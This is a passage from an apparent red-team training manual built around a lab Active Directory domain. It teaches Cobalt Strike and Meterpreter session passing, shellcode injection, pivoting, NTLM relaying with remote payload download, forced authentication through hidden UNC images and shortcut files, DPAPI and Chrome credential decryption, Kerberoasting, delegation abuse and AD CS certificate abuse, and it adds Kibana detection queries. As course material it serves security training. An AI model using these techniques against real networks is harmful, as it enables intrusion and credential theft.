~30GH/s (30,000,000,000/s), which would take just over 5
days to complete the keyspace (although it would find the
password much before reaching the end).

Hashcat agrees with the calculation:

In contrast, a Mask would allow us to attack this password


pattern in a much more efficient way. For instance, instead of
using the full keyspace on the first character, we can limit
ourselves to uppercase only and likewise with the other
positions.

This limits the combinations to 26*26*26*26*26*26*26*26*10


(2,088,270,645,760) which is several thousands times
smaller. At the same cracking rate, this will complete in
around 1 minute (and in reality, the password will be found
near instantly or in several seconds).

That's quite a difference!

• -a 3 specifies the mask attack.


• ?u?l?l?l?l?l?l?l?d is the mask

89/279
You can combine these charsets within your mask for even
more flexibility. It's also common for password to end with a
special (such as !) rather than a number, but we can specify
both in a mask.

Where:
• -1 ?d?s defines a custom charset (digits and specials).
• ?u?l?l?l?l?l?l?l?1 is the mask, where ?1 is the custom charset.

Mask Length & Mask Files


By default, this mask attack sets a static password length - ?
90/279
u?l?l?l?l?l?l?l?1 defines 9 characters, which means we
can only crack a 9 character password.
To crack passwords of different lengths, we have to manually
adjust the mask accordingly.

Hashcat mask files make this process a lot easier for custom
masks that you use often.

Masks can even have static strings defined, such as a


company name or other keyword you suspect are being used
in passwords.

91/279
Combinator
The combinator attack combines the entries from two
dictionaries into single-word candidates. Take the following
lists as an example:

The combinator will produce purplemonkey and purpledishwasher


as candidates.

You can also apply a rule to each word on the left or right
hand side using the options -j and -k. For instance, -j $- and
-k $! would produce purple-monkey!.

92/279
Hybrid
Hashcat modes 6 and 7 are hybrid's based on wordlists,
masks and the combinator.

You specify both a wordlist and mask on the command line,


and the mask is appended or prepended to the words within
the list.

For example, your dictionary contains the word Password,


then -a 6 [...] D:\Tools\list.txt ?d?d?d?d will
produce Password0000 to Password9999

Where:
• -a 6 specifies the hybrid wordlist + mask mode.
• ?d?d?d?d is the mask.

The hybrid mask + wordlist mode (-a 7) is practically


identical, where the mask comes first.

kwprocessor
There are a number of external utilities that are separate
from the main hashcat application.

93/279
Here we'll review one called kwprocessor.

This is a utility for generating key-walk passwords, which are


based on adjacent keys such as qwerty, 1q2w3e4r, 6yHnMjU7
and so on. To humans, these can look rather random and
secure (uppers, lowers, numbers & specials), but in reality
they're easy to generate programmatically.

kwprocessor has three main components:


1. Base characters - the alphabet of the target language.
2. Keymaps - the keyboard layout.
3. Routes - the directions to walk in.

There are several examples provided in the basechars,


keymaps and routes directory in the kwprocessor download.

Session Passing
Session passing is a means of spawning payloads that can
talk to other Cobalt Strike listeners, or even listeners of
entirely different C2 frameworks.

There are many good reasons for doing this, a few examples
include:

• Leverage a capability within a framework that Cobalt Strike doesn't


have.
• Use different C2 frameworks as backup access in the event the current
access is lost.
• To emulate similar TTPs.
94/279
Beacon's staging process is based off Meterpreter's, so you
can stage Meterpreter from Beacon. Cobalt Strike has a type
of listener called the Foreign Listener designed to handle
this.

On the Kali VM, launch msfconsole and start a new multi/


handler using the windows/meterpreter/reverse_http
payload

In Cobalt Strike, go to Listeners > Add and set the Payload to


Foreign HTTP. Set the Host to 10.10.5.120, the Port to 8080 and
click Save.

95/279
Now to spawn a Meterpreter session from Beacon, simply
type spawn <listener name>

OPSEC Alert

You can only spawn x86 Meterpreter sessions with the


foreign listener.

Alternatively, Beacon's shinject command can inject any


arbitrary shellcode into the specified process.
96/279
The process can be an existing one, or one we start with the
execute, run or even shell commands.
Generate x64 stageless Meterpreter shellcode with msfvenom.

Copy the shellcode across to the attacker-windows machine.

Ensure the multi handler is setup appropriately and inject the


shellcode.

97/279
This same process can work in reverse, to inject Beacon
shellcode from a Meterpreter session.

To generate stageless Beacon shellcode, go to Attacks >


Packages > Windows Executable (S), select the desired
listener, select Raw as the Output type and select Use x64
payload.

Copy it across to the Kali VM

Then use the post/windows/manage/shellcode_inject module to


inject it into a process.

98/279
A la inversa de metasploit a cobalt strike

99/279
Pivoting
A SOCKS (Secure Socket) Proxy exchanges network packets
between a client and a server via a "proxy". A common
implementation of a proxy server is found in web proxies -
where a browser will connect to the proxy, which relays
requests to the destination website and back to the browser
(performing filtering etc on the way).

We can use this idea in an offensive application by turning


100/279
our C2 server into a SOCKS proxy to tunnel external tooling
into an internal network.

This is particularly helpful when we want to leverage Linux-


based toolsets such as Impacket. Windows doesn't have a
native capability to execute Python, so being able to execute
them on our own system and tunnel the traffic through
Beacon can expand our arsenal of available tooling.

It also carries additional OPSEC advantages - since we're not


pushing offensive tooling onto the target or even executing
any code on a compromised endpoint, it can shrink our
footprint for detection.
To start a socks proxy, use socks [port] on a Beacon.

This will bind port 1080 on the Team Server.

Not many applications are able to use socks proxies by


themselves - instead, we can use proxychains. This is a tool
that acts as a wrapper, and will tunnel traffic from any
application over a socks proxy. Open /etc/
proxychains.conf in a text editor (vim, nano, etc, no
judgement here :sweat_smile:). On the final line, you will see
socks4 127.0.0.1 9050. Change 9050 to 1080 (or
whichever port you're using).

To tunnel a tool through proxychains, it's as simple as


proxychains [tool] [tool args]. So to tunnel nmap, it
101/279
would be:

There are some restrictions on the type of traffic that can be


tunnelled, so you must make adjustments with your tools as
necessary. ICMP and SYN scans cannot be tunnelled, so we
must disable ping discovery (-Pn) and specify TCP scans (-sT)
for this to work.

102/279
Windows Apps
We can tunnel GUI apps that run on Windows using a proxy
client such as Proxifier.

Open Proxifier, go to Profile > Proxy Servers and Add a


new proxy entry, which will point at the IP address and Port
of your Cobalt Strike SOCKS proxy.

Next, go to Profile > Proxification Rules. This is where you can


add rules that tell Proxifier when and where to proxy specific
applications.

Multiple applications can be added to the same rule, but in


this example, I'm creating a single rule for adexplorer64.exe
(part of the Sysinternals Suite).

When this application tries to connect to a target host within


the 10.10.17.0/24 subnet (dev.cyberbotic.io), it will be

103/279
automatically proxied through the Cobalt Strike proxy server
defined above.

Now launch ADExplorer and connect to 10.10.17.71 (DC-2).

104/279
You will then see the traffic being proxied in Proxifier, and
ADExplorer connects successfully.

105/279
Some applications (such as the RSAT tools) don't provide a
means of providing a username or password, because they're
designed to use a user's domain context.

You can still run these tools on your attacking machine. If


you have the clear text credentials, use runas /netonly.

If you have an NTLM hash, use sekurlsa::pth.

106/279
You will also need to add a static host entry in your C:
\Windows\System32\drivers\etc\hosts file: 10.10.17.71
dev.cyberbotic.io. You can enable DNS lookups through
Proxifier, but that will cause DNS leaks from your computer
into the target environment.

107/279
Metasploit
You can also tunnel Metasploit modules through Beacon's
SOCKS proxy, which is really useful with remote exploits.

In Cobalt Strike, go to View > Proxy Pivots, highlight the


existing SOCKS proxy and click the Tunnel button. This gives
you a string which looks like: setg Proxies
socks4:10.10.5.120:1080.

Paste this into msfconsole and any remote modules will go


via Beacon.
To stop the SOCKS proxy, use socks stop or View > Proxy
Pivots > Stop.

Reverse Port Forwards


Reverse Port Forwarding allows a machine to redirect
inbound traffic on a specific port to another IP and port.

A useful implementation of this allows machines to bypass


firewall and other network segmentation restrictions, to talk
to nodes they wouldn't normally be able to.

Take this very simple example:

Computers A and B can talk to each other, as can B and C;


but A and C cannot talk directly. A reverse port forward on
Computer B can act as a "relay" between Computers C and A.

108/279
There are two main ways to create a reverse port forward:

1. Windows netsh.
2. Reverse port forward capability built into the C2 framework.

Windows Firewall
Let's start with the Windows Firewall.

In the lab, there are four domains: dev.cyberbotic.io,


cyberbotic.io, zeropointsecurity.local and subsidiary.external.

Not all of these domains can talk to each other directly - the
traffic flow looks a little like this:

109/279
For instance - cyberbotic.io can talk with dev.cyberbotic.io,
but not to subsidiary.external. So let's use this as an
opportunity to create a reverse port forward that will allow
dc-1.cyberbotic.io to talk to ad.subsidiary.external via
dc-2.dev.cyberbotic.io .

First, run the following PowerShell script on the target,


ad.subsidiary.external :

$endpoint = New-Object System.Net.IPEndPoint


([System.Net.IPAddress]::Any, 4444)
$listener = New-Object System.Net.Sockets.TcpListener $endpoint
$listener.Start()
Write-Host "Listening on port 4444"
while ($true)
{
$client = $listener.AcceptTcpClient()
Write-Host "A client has connected"
$client.Close()
}

This will bind port 4444, listen for incoming connections and
print a message when something does. This is how we're
going to prove the reverse port forward works.

Try to connect to this port from dc-1.cyberbotic.io and it


should fail.

110/279
The native netsh (short for Network Shell) utility allows you
to view and configure various networking components on a
machine, including the firewall.

There's a subset of commands called interface portproxy


which can proxy both IPv4 and IPv6 traffic between networks.

The syntax to add a v4tov4 proxy is:

netsh interface portproxy add v4tov4 listenaddress= listenport=


connectaddress= connectport= protocol=tcp

Where:

• listenaddress is the IP address to listen on (probably always 0.0.0.0).


• listenport is the port to listen on.
• connectaddress is the destination IP address.
• connectport is the destination port.
• protocol to use (always TCP).

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0


listenport=4444 connectaddress=10.10.14.55 connectport=4444
protocol=tcp

Now, from dc-1.cyberbotic.io , instead of trying to connect


directly to ad.subsidiary.external , connect to this portproxy on
dc-2.dev.cyberbotic.io and you will see the connection being
made in the PowerShell script.
111/279
To remove the portproxy:

C:\>netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0


listenport=4444

Aspects to note about netsh port forwards:

• You need to be a local administrator to add and remove them,


regardless of the bind port.
• They're socket-to-socket connections, so they can't be made through
network devices such as firewalls and web proxies.
• They're particularly good for creating relays between machines.

rportfwd Command
112/279
Next, let's look at Beacon's rportfwd command.

In the lab and many corporate environments, workstations


are able to browse the Internet on ports 80 and 443, but
servers have no direct outbound access (because why do
they need it?).

Let's imagine that we already have foothold access to a


workstation and have a means of moving laterally to a
server - we need to deliver a payload to it but it doesn't have
Internet access to pull it from our Team Server.

We can use the workstation foothold as a relay point


between our webserver and the target.

If you don't already have a payload hosted via the Scripted


Web Delivery, do so now. Then from dc-2.dev.cyberbotic.io,
attempt to download it.

The syntax for the rportfwd command is rportfwd [bind port]


[forward host] [forward port]. On WKSTN-1:

This will bind port 8080 on the foothold machine, which we


can see with netstat.

113/279
Now any traffic hitting this port will be redirected to
10.10.5.120 on port 80. On DC-2, instead of trying to hit
10.10.5.120:80, we use 10.10.17.231:8080 (where 10.10.17.231
is the IP address of WKSTN-1).

The Web Log in Cobalt Strike also lets us know the request
has reached us.

To stop the reverse port forward, do rportfwd stop 8080


from within the Beacon or click the Stop button in the Proxy
Pivots view.

Aspects to note:

• Beacon's reverse port forward always tunnels the traffic to the Team
Server and the Team Server sends the traffic to its intended destination,
so shouldn't be used to relay traffic between individual machines.
• The traffic is tunnelled inside Beacon's C2 traffic, not over separate
sockets, and also works over P2P links.
114/279
• You don't need to be a local admin to create reverse port forwards on
high ports.

rportfwd_local

Beacon also has a rportfwd_local command. Whereas


rportfwd will tunnel traffic to the Team Server,
rportfwd_local will tunnel the traffic to the machine
running the Cobalt Strike client.

This is particularly useful in scenarios where you want traffic


to hit tools running on your local system, rather than the
Team Server.

Take this Python http server as an example, whilst running


the CS client on Kali:

This will bind port 8080 on the machine running the Beacon
and will tunnel the traffic to port 8080 of the localhost
running the Cobalt Strike client.

Notice how it uses your username as an indicator of where


the traffic will go.

Then on another machine in the network, try to download the


file.
115/279
Of course, we see the request on the Python server.

NTLM Relaying
NTLM authentication uses a 3-way handshake between a
client and server. The high-level steps are as follows:

1. The client makes an authentication request to a server for a resource


it wants to access.
2. The server sends a challenge to the client - the client needs to
encrypt the challenge using the hash of their password.
3. The client sends the encrypted response to the server, which
contacts a domain controller to verify the encrypted challenge is correct.

In an NTLM relay attack, an attacker is able to intercept or


capture this authentication traffic and effectively allows them
to impersonate the client against the same, or another
service.

For instance, a client attempts to connect to Service A, but


116/279
the attacker intercepts the authentication traffic and uses it
to connect to Service B as though they were the client.

During an on-premise penetration test, NTLM relaying with


tools like Responder and ntlmrelayx is quite trivial.

However, it's a different story with this style of red team


assessment, not least because we can't typically run Python
tools on Windows. Port 445 is always bound and in use by
Windows - even local admins can't arbitrarily redirect traffic
bound to this port or bind another tool to this port.

It's still possible to do with Cobalt Strike, but requires the use
of multiple capabilities simultaneously.

1. Use a driver to redirect traffic destined for port 445 to another port
(e.g. 8445) that we can bind to.
2. Use a reverse port forward on the port the SMB traffic is being
redirected to. This will tunnel the SMB traffic over the C2 channel to our
Team Server.
3. The tool of choice (ntlmrelayx) will be listening for SMB traffic on the
Team Server.
4. A SOCKS proxy is required to allow ntlmrelayx to send traffic back
into the target network.

The flow looks something like this:

117/279
PortBender is a reflective DLL and Aggressor script specifically
designed to help facilitate this through Cobalt Strike.
It requires local admin access in order for the driver to be
loaded, and that the driver be located in the current working
directory of the Beacon. It makes sense to use C:
\Windows\System32\drivers since this is where most Windows
drivers go.

118/279
Next, load PortBender.cna from C:\Tools\PortBender - this adds
a new PortBender command to the console.

Execute PortBender to redirect traffic from 445 to port 8445.

Next, create a reverse port forward that will then relay the
traffic from port 8445 to port 445 on the Team Server (where
ntlmrelayx will be waiting).

We also need the SOCKS proxy so that ntlmrelayx can send


responses to the target machine.

119/279
On WKSTN-2, attempt to access WKSTN-1 over SMB.

PortBender will log the connection:

ntlmrelayx will then spring into action. By default it will use


secretsdump to dump the local SAM hashes from the target
machine. In this example, I'm relaying from WKSTN-2 to
SRV-2.

120/279
Local NTLM hashes could then be cracked or used with pass-
the-hash.

Instead of being limited to dumping NTLM hashes, ntlmrelayx


also allows you to execute an arbitrary command against the
target. In this example, I download and execute a
PowerShell payload.

After seeing the hit on the web log, connect to the waiting
Beacon.

121/279
To stop PortBender, stop the job and kill the spawned process.

One of the main indicators of this activity is the driver load


event for WinDivert. You can find driver loads in Kibana
using Sysmon Event ID 6. Even though the WinDivert driver
has a valid signature, seeing a unique driver load on only one
machine is an anomalous event.

QUERY KIBANA: event.module: sysmon and event.code: 6 and not


file.code_signature.subject_name: "Amazon Web Services, Inc."
122/279
As hinted above, the PortBender CNA uses the bdllspawn
function to spawn a new process and inject the reflective
DLL into. By default, this is rundll32 and will be logged under
Sysmon Event ID 1.

EXERCISE

Perform the attack above and find the driver load in Kibana.

Forcing NTLM Authentication


In the real world, it's unlikely you can just jump onto the
console of a machine as a privileged user and authenticate
to your malicious SMB server.

You can of course just wait for a random event to occur, or


try to socially engineer a privileged user. However, there are
also lots of techniques to "force" users to unknowingly trigger
NTLM authentication attempts to your endpoint.

Here are a few possibilities.

1x1 Images in Emails


If you have control over an inbox, you can send emails that
have an invisible 1x1 image embedded in the body.

When the recipients view the email in their mail client, such
as Outlook, it will attempt to download the image over the
UNC path and trigger an NTLM authentication attempt.

<img src="\\10.10.17.231\test.ico" height="1" width="1" />


123/279
A sneakier means would be to modify the sender's email
signature, so that even legitimate emails they send will
trigger NTLM authentication from every recipient who reads
them.

EXERCISE

Send an email from bfarmer to nlamb and view the email in


Outlook on WKSTN-2.

Windows Shortcuts
A Windows shortcut can have multiple properties including a
target, working directory and an icon.
Creating a shortcut with the icon property pointing to a UNC
path will trigger an NTLM authentication attempt when it's
viewed in Explorer (it doesn't even have to be clicked).

The easiest way to create a shortcut is with PowerShell.

$wsh = new-object -ComObject wscript.shell


$shortcut = $wsh.CreateShortcut("C:
\Users\Administrator\Desktop\pwn.lnk") (Ruta local)
$shortcut.IconLocation = "\\10.10.17.231\pwn.ico" (IP de la maquina
comprometida)
$shortcut.Save()

A good location for these is on publicly readable shares.

EXERCISE

124/279
Create a shortcut in the software share and then view it as
nlamb on WKSTN-2.

Data Protection API


The Data Protection API (DPAPI) is a component built into
Windows that provides a means for encrypting and
decrypting data "blobs".

It uses cryptographic keys that are tied to either a specific


user or computer and allows both native Windows
functionality and third-party applications to protect/unprotect
data transparently to the user.

DPAPI is used by the Windows Credential Manager to store


saved secrets such as RDP credentials, and by third-party
applications like Google Chrome to store website credentials.

Credential Manager
The credential manager blobs are stored in the user's AppData
directory.

The native vaultcmd tool can also be used to list them.

125/279
Or mimikatz vault::list.

If you go to the Control Panel > Credential Manager on


WKSTN-1 and select Windows Credentials, you will see how
this credential appears to the user. And opening the Remote
Desktop Connection client shows how these creds are
automatically populated for the target server.

126/279
To decrypt the credential, we need to find the master
encryption key.

First, run dpapi::cred and provide the location to the blob


on disk.

The pbData field contains the encrypted data and the


guidMasterKey contains the GUID of the key needed to
127/279
decrypt it.

The Master Key information is stored within the user's


AppData\Roaming\Microsoft\Protect directory (where S-1-5-21-*
is their SID).

Notice how this filename a23a1631-e2ca-4805-9f2f-


fe8966fd8698 matches the guidMasterKey field above.

There are a few ways to get the actual Master Key content. If
you have access to a high integrity session, you may be able
to dump it from memory using sekurlsa::dpapi.

However it may not always be cached here and this interacts


with LSASS which is not ideal for OPSEC.

My preferred method is to use the RPC service


exposed on the Domain Controller, which is a
"legitimate" means (as in, by design and using
legitimate RPC traffic).

Run mimikatz dpapi::masterkey, provide the path to the


Master Key information and specify /rpc.

The key field is the key needed to decrypt the credential,


128/279
which we can do with dpapi::cred.

In this case bfarmer is a local admin on SRV-1, so they just


have their own domain credentials saved. It's worth noting
that even if they had local credentials or even a different set
of domain credentials saved, the process to decrypt them
would be exactly the same.

Google Chrome
Chrome stores DPAPI-protected credentials in a local SQLite
database, which can be found within the user's local AppData
directory.

A non-null Login Data file is a good indication that credentials


are saved in here. SharpChromium is my go-to tool for
decrypting these.

129/279
Kerberos
Kerberos is a fun topic and contains some of the more well-
known abuse primitives within Active Directory environments.

It can also be a bit elusive as to how it works since it has so


many complex intricacies, but here's a brief overview:

130/279
When a user logs onto their workstation, their machine will
send an AS-REQ message to the Key Distribution Center
(KDC), aka Domain Controller, requesting a TGT using a
secret key derived from the user’s password.

131/279
The KDC verifies the secret key with the password it has
stored in Active Directory for that user. Once validated, it
returns the TGT in an AS-REP message. The TGT contains
the user’s identity and is encrypted with the KDC secret key
(the krbtgt account).

When the user attempts to access a resource backed by


Kerberos authentication (e.g. a file share), their machine
looks up the associated Service Principal Name (SPN). It then
requests (TGS-REQ) a Ticket Granting Service Ticket (TGS)
for that service from the KDC, and presents its TGT as a
means of proving they're a valid user.

The KDC returns a TGS (TGS-REP) for the service in question


to the user, which is then presented to the actual service.
The service inspects the TGS and decides whether it should
grant the user access or not.

Kerberoasting
Services run on a machine under the context of a user
account. These accounts are either local to the machine
(LocalSystem, LocalService, NetworkService) or are domain
accounts (e.g. DOMAIN\mssql).

A Service Principal Name (SPN) is a unique identifier of a


service instance. SPNs are used with Kerberos to associate a
service instance with a logon account, and are configured on
the User Object in AD.

132/279
Part of the TGS returned by the KDC is encrypted with a
secret derived from the password of the user account running
that service. Kerberoasting is a technique for requesting
TGS’s for services running under the context of domain
accounts and cracking them offline to reveal their plaintext
passwords.

Rubeus kerberoast can be used to perform the


kerberoasting. Running it without further arguments will
roast every account in the domain that has an SPN
(excluding krbtgt).

This is pretty bad OPSEC. Judging from the fake SPN set on
the svc_honey account, we may have just wandered into a
trap.

When a TGS is requested, Windows event 4769 - A


Kerberos service ticket was requested is generated.

133/279
You can find them in Kibana with:

KIBANA QUERY: event.code: 4769

Depending on how long your lab has been in use, there will
be a lot of events. However, we can filter down to the
specific account name:

And this should return only one result - generated by the


kerberoasting.

These types of honey traps is a common method for catching


lazy tradecraft. Because the SPN is not legitimate, it should
never be in use and ergo, should never generate these
events.

A blue team may configure automated alerting when


suspicious activity is logged for a honey account. You will
see that the log also reveals the user who requested the TGS.

Other detection strategies such as volume analysis, i.e. a


single account requesting tens/hundreds/thousands of TGS's
in a single instant are also effective.

A much safer approach is to enumerate possible candidates


first and kerberoast them selectively. Simply searching (e.g.
using custom LDAP queries) for accounts with SPNs will not
trigger these 4769 events.

Find all users (in the current domain) where the


ServicePrincipalName field is not blank.

134/279
Find all users (in the current domain) where the
ServicePrincipalName field is not blank.

Once we feel safe about roasting a particular account, we


can do so with the /user argument.

Use --format=krb5tgs --wordlist=wordlist svc_mssql for john or


-a 0 -m 13100 svc_mssql wordlist for hashcat.

AS-REP Roasting
If a user does not have Kerberos pre-authentication enabled, an AS-REP
can be requested for that user, and part of the reply can be cracked
offline to recover their plaintext password.
135/279
This configuration is also enabled on the User Object and is often seen
on accounts that are used on Linux systems.

In bloodhound:
136/279
MATCH (u:User {dontreqpreauth:true}) RETURN u

Use --format=krb5asrep --wordlist=wordlist svc_oracle for john


or -a 0 -m 18200 svc_oracle wordlist for hashcat.

EXERCISE

AS-REP Roast accounts in the domain and find the


corresponding 4768's in Kibana.

Unconstrained Delegation
Delegation allows a user or a service to act on behalf of another user to
another service.

A common implementation of this is where a user authenticates to a


front-end web application that serves a back-end database. The front-
end application needs to authenticate to the back-end database (using
Kerberos) as user.

137/279
We understand how a user performs Kerberos authentication
to the Web Server.

But how can the Web Server authenticate to the DB and


perform actions as the user? Unconstrained Delegation was
the first solution to this problem.

If unconstrained delegation is configured on a computer, the


KDC also includes a copy of the user’s TGT inside the TGS. In
this example, when the user accesses the Web Server, it
extracts the user's TGT from the TGS and caches it in
memory.

When the Web Server needs to access the DB Server on


behalf of that user, it uses the user’s TGT to request a TGS
for the database service.

An interesting aspect to unconstrained delegation is that it


will cache the user’s TGT regardless of which service is being
accessed by the user.

So, if an admin accesses a file share or any other service on


the machine that uses Kerberos, their TGT will be cached.

If we can compromise a machine with unconstrained


delegation, we can extract any TGTs from its memory and

138/279
use them to impersonate the users against other services in
the domain.

In BloodHound:

MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

Domain Controllers always have unconstrained delegation


configured by default and doesn't exactly represent a good
privilege escalation scenario (if you've compromised a DC,
you're already a Domain Admin).

Other servers are good targets, such as SRV-1 here.

If we compromise SRV-1 and wait or engineer a privileged


user to interact with it, we can steal their cached TGT.

Interaction can be any Kerberos service, so something as


simple as dir \\srv-1\c$ is enough.
Rubeus has a monitor command (requires elevation) that
will continuously look for and extract new TGTs. On SRV-1:

Access the console of WKSTN-2 and do dir \\srv-1\c$ as


139/279
nlamb.

To stop Rubeus, use Cobalt Strike jobs and jobkill


commands.

Write the base64 decoded string to a .kirbi file on your


attacking machine. Create a sacrificial logon session, pass
the TGT into it and access the domain controller.

140/279
141/279
The "Printer Bug"
The MS-RPRN Print System Remote Protocol (hence the cute
name) defines the communications for print job processing
and print system management between a print client and a
print server.

Lee used
142/279
RpcRemoteFindFirstPrinterChangeNotificationEx(), to
set up a change notification between a print server (Machine
A) and a print client (Machine B).

This caused Machine A to authenticate to Machine B.

If Machine B is configured with unconstrained delegation, this


would allow us to capture the TGT of Machine A.

With a TGT for Machine A, we can craft service tickets to


access any service on Machine A as a local administrator.

And of course if Machine A is a domain controller, we will


gain Domain Admin level privilege.

Furthermore, this RPC service is accessible by all domain


users, is enabled by default since Windows 8 and won't be
fixed by Microsoft since it's "by design".

The proof-of-concept code is here.

On SRV-1:

On WKSTN-1:

Where:
143/279
• dc-2 is the "target" server

• srv-1 is the "capture" server

Constrained Delegation
Constrained delegation was soon released as a safer means for services
to perform Kerberos delegation. It aims to restrict the services to
which the server can act on behalf of a user.

144/279
It no longer allows the server to cache the TGTs of other users, but
allows it to request a TGS for another user with its own TGT.

In this example, SRV-2 has two delegations configured.

1. Act on behalf of any user to the cifs service on WKSTN-2. CIFS is


very powerful, as it allows you to list file shares, upload and download
files, and even interact with the Service Control Manager.
2. Act on behalf of any user to the eventlog service on DC-2. This
service itself isn't immediately useful, but we'll review a trick that can be
used to create tickets for any service on DC-2 rather than just eventlog.
145/279
Find all computers configured for constrained delegation and
what they're allowed to delegate to (we need the --json
output to drill down into the msds-allowedtodelegateto
attribute).

BLOODHOUND: MATCH (c:Computer), (t:Computer), p=((c)-[:


AllowedToDelegate]->(t)) RETURN p

Constrained delegation can be configured on user accounts


as well as computer accounts. Make sure you search for
both.

To perform the delegation, we ultimately need the TGT of the


principal (machine or user) trusted for delegation, for which
there are two main methods.

We can extract it directly from a machine with Rubeus dump:


(lista todos los tickets que hay en la maquina)

146/279
Or request one using the NTLM / AES keys:

With the TGT, perform an S4U request to obtain a usable TGS


for CIFS.

Where:

• /impersonateuser is the user we want to impersonate. nlamb is a


domain admin but you want to ensure this user has local admin access
147/279
to the target (WKSTN-2).
• /msdsspn is the service principal name that SRV-2 is allowed to
delegate to.
• /user is the principal allowed to perform the delegation.
• /ticket is the TGT for /user.

This will perform an S4U2Self first and then an S4U2Proxy.


It's this final S4U2Proxy ticket that we need - save the ticket
to a file on your desktop.

Create a new sacrificial session (to avoid clobbering the


tickets in our current session) and use kerberos_ticket_use to
import the new CIFS TGS.

We can now access the remote filesystem and jump to it


using psexec.

148/279
Alternate Service Name
149/279
The eventlog service on DC-2 is not immediately useful for
lateral movement, but the service name is not validated in
s4u.

This means we can request a TGS for any service run by


DC-2$, using /altservice flag in Rubeus.

150/279
S4U2self Abuse
As we saw in the previous two examples of constrained
delegation, there are two S4U (Service for User) extensions.
S4U2self (Service for User to Self) and S4U2proxy (Service
for User to Proxy). S4U2self allows a service to obtain a TGS
to itself on behalf of a user, and S4U2proxy allows the
service to obtain a TGS on behalf of a user to a second
151/279
service.

When we abused constrained delegation, we did: Rubeus


s4u /impersonateuser:nlamb /msdsspn:cifs/
wkstn-2.dev.cyberbotic.io /user:srv-2$.

From the output, we saw Rubeus first builds an S4U2self


request and obtains a TGS for nlamb to srv-2/
dev.cyberbotic.io. It then build an S4U2proxy request to
obtain a TGS for nlamb to cifs/wkstn-2.dev.cyberbotic.io.

This is obviously working by design because SRV-2 is


specifically trusted for delegation to that service. However,
there's another particularly useful way, published by Elad
Shamir, to abuse the S4U2self extension - and that is to gain
access to a domain computer if we have its RC4, AES256 or
TGT.

There are means of obtaining a TGT for a computer without


already having local admin access to it, such as pairing the
Printer Bug and a machine with unconstrained delegation,
NTLM relaying scenarios and Active Directory Certificate
Service abuse (the later two are covered in later modules).

We can demonstrate this with a TGT for WKSTN-2, which we


can obtain via the Printer Bug exercise. If we import the TGT
into a sacrificial session and try and access C$, it will fail.

152/279
This is because machines do not get remote local admin
access to themselves over CIFS. What we can do instead is
abuse S4U2self to obtain a TGS to itself, as a user we know is
a local admin (e.g. a domain admin).

The S4U2proxy step will fail, which is fine. Write the


S4U2self TGS to a file.

PS C:\> [System.IO.File]::WriteAllBytes("C:
\Users\Administrator\Desktop\wkstn-2-s4u.kirbi",
[System.Convert]::FromBase64String("doIFdD [...snip...] MtMiQ="))

153/279
The ServiceName of WKSTN-2$ is not valid for our use - we
want it to be for CIFS.

This can be easily changed, because as we saw in the


constrained delegation alternate service name demo, the
service name is not in the encrypted part of the ticket and is
not "checked".

To modify the ticket, open it with the ASN editor in C:


\Tools\Asn1Editor. Find the two instances where the
GENERAL STRING "WKSTN-2$" appears.

Double-click them to open the Node Content Editor and


replace these strings with "cifs". We also need to add an
additional string node with the FQDN of the machine. Right-
click on the parent SEQUENCE and select New.

Enter 1b in the Tag field and click OK. Double-click on the


new node to edit the text.

154/279
Save the ticket and use Rubeus describe again. Notice how
the ServiceName has now changed.

To use the ticket, simply pass it into your session.

155/279
Linux Credential Cache
Kerberos Credential Cache (ccache) files hold the Kerberos
credentials for a user authenticated to a domain-joined Linux
machine, often a cached TGT.

If you compromise such a machine, you can extract the


ccache of any authenticated user and use it to request
service tickets (TGSs) for any other service in the domain.

Access the console of WKSTN-2 and use PuTTY to ssh into


156/279
nix-1 as jking. Then use your foothold Beacon to ssh into
nix-1 as a member of the Oracle Admins group, from your
attacking machine.

The ccache files are stored in /tmp and are prefixed with
krb5cc.

We can see by the permission column that only the user and
157/279
root can access them - so for this to be a useful primitive,
root access is required. In this case, svc_oracle has sudo
privileges.

Use this access to download krb5cc_1394201122_MerMmG to your


Kali VM.

Instead, we can use Impacket to convert this ticket from


ccache to kirbi format.

158/279
Now we can use this kirbi with a sacrificial logon session.

Active Directory Certificate Services


Active Directory Certificate Services (AD CS) is a server role
that allows you to build a public key infrastructure (PKI).

This can provide public key cryptography, digital certificates,


and digital signature capabilities. Some practical
applications include Secure/Multipurpose Internet Mail
Extensions (S/MIME), secure wireless networks, virtual
159/279
private network (VPN), Internet Protocol security (IPsec),
Encrypting File System (EFS), smart card logon, and Secure
Socket Layer/Transport Layer Security (SSL/TLS).

Correct implementation can improve the security of an


organisation:

• Confidentiality through encryption.


• Integrity through digital signatures.
• Authentication by associating certificate keys with computer, user, or
device accounts on the network.

However, like any technology, misconfigurations can


introduce security risks that actors can exploit - in this case,
for privilege escalation (even domain user to domain admin)
and persistence. The content found in this module is derived
from the 143-page whitepaper published by Will Schroeder & Lee
Christensen . For obvious reasons, the entire content will not
be duplicated here - if you want all the low-level details, do
go and read it.

Finding Certificate Authorities


To find AD CS Certificate Authorities (CA's) in a domain or
forest, run Certify with the cas parameter.

This will output lots of useful information, including the Root


CAs:

160/279
And enrollment CAs:

The Cert Chain is useful to note, as this shows us that CA-2 in


the DEV domain is a subordinate of CA-1 in the CYBER
domain. The output will also list the certificate templates
that are available at each CA, as well as some information
about which principals are allowed to manage them.

161/279
Misconfigured Certificate Templates
AD CS certificate templates are provided by Microsoft as a
starting point for distributing certificates. They are designed
to be duplicated and configured for specific needs.

Misconfigurations within these templates can be abused for


privilege escalation.
As iyates on WKSTN-3, use the Certify tool to find any
vulnerable templates:

Let's go through the key parts of this output.

1. The name of the Certificate Authority is dc-1.cyberbotic.io\ca-1.


2. The template is called VulnerableUserTemplate.
162/279
3. ENROLLEE_SUPPLIES_SUBJECT allows the certificate requestor to
provide a SAN (subject alternative name).
4. The certificate usage has Client Authentication set.
5. Domain Users have enrolment rights, so any domain user may
request a certificate from this template

This configuration allows any domain user to request a


certificate for any other domain user (including a domain
admin), and use it to authenticate to the domain.

Request a certificate for nglover.

Copy the whole certificate (including the private key) and


save it to cert.pem on the Kali VM. Then use the openssl
command to convert it into pfx format.

You may enter a password (recommended) or leave it blank.

163/279
Convert cert.pfx into a base64 encoded string: cat cert.pfx
| base64 -w 0 and use Rubeus asktgt to request a TGT using
this certificate.

NTLM Relaying to ADCS HTTP


Endpoints
AD CS services support HTTP enrolment methods and even includes a
GUI.

This endpoint is usually found at http[s]://<hostname>/certsrv, and


by default supports NTLM and Negotiate authentication methods.

164/279
